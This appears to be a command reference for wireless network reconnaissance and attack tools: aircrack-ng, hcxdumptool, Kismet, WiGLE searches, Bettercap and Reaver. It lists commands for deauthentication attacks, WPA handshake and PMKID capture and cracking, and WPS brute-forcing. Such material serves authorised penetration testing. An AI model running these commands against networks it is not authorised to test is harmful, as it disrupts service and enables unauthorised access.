<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->

# API Reference — Wireless Network Reconnaissance

## aircrack-ng Suite

### Monitor Mode
```bash
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airmon-ng stop wlan0mon
```

### Network Discovery
```bash
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
sudo airodump-ng --output-format csv,netxml -w results wlan0mon
```

### Deauthentication
```bash
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon
```

### WPA Handshake Crack
```bash
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
```

## hcxdumptool

### PMKID Capture
```bash
sudo hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng
```

### Targeted Capture
```bash
sudo hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng \
  --filterlist_ap=targets.txt --filtermode=2
```

### Convert to Hashcat
```bash
hcxpcapngtool -o hash.22000 dump.pcapng
```

## Kismet

### Start Kismet
```bash
sudo kismet -c wlan0mon
# Web UI: http://localhost:2501
```

### REST API
```bash
curl -s "http://localhost:2501/devices/all_devices.json" \
  -u admin:changeme | jq '.[].kismet.device.base.name'
```

## WiGLE.net API

### Search by SSID
```bash
curl -s -u "$WIGLE_USER:$WIGLE_KEY" \
  "https://api.wigle.net/api/v2/network/search?ssid=TargetSSID"
```

### Search by Area
```bash
curl -s -u "$WIGLE_USER:$WIGLE_KEY" \
  "https://api.wigle.net/api/v2/network/search?latrange1=40.0&latrange2=40.1&longrange1=-74.0&longrange2=-73.9"
```

### Search by BSSID
```bash
curl -s -u "$WIGLE_USER:$WIGLE_KEY" \
  "https://api.wigle.net/api/v2/network/search?netid=AA:BB:CC:DD:EE:FF"
```

## iw (Linux Wireless)

### Scan Networks
```bash
sudo iw dev wlan0 scan
sudo iw dev wlan0 scan | grep -E "BSS|SSID|signal|freq"
```

### Interface Info
```bash
iw dev wlan0 info
iw dev wlan0 link
```

## Bettercap

### WiFi Recon
```bash
sudo bettercap -iface wlan0mon
# In bettercap:
wifi.recon on
wifi.show
wifi.deauth AA:BB:CC:DD:EE:FF
```

## WPS Tools

### Wash (WPS Discovery)
```bash
sudo wash -i wlan0mon
sudo wash -i wlan0mon -C  # Check lock status
```

### Reaver (WPS Brute)
```bash
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
```

## Environment Variables

| Variable | Description |
|----------|-------------|
| `WIGLE_USER` | WiGLE.net API username |
| `WIGLE_KEY` | WiGLE.net API key |
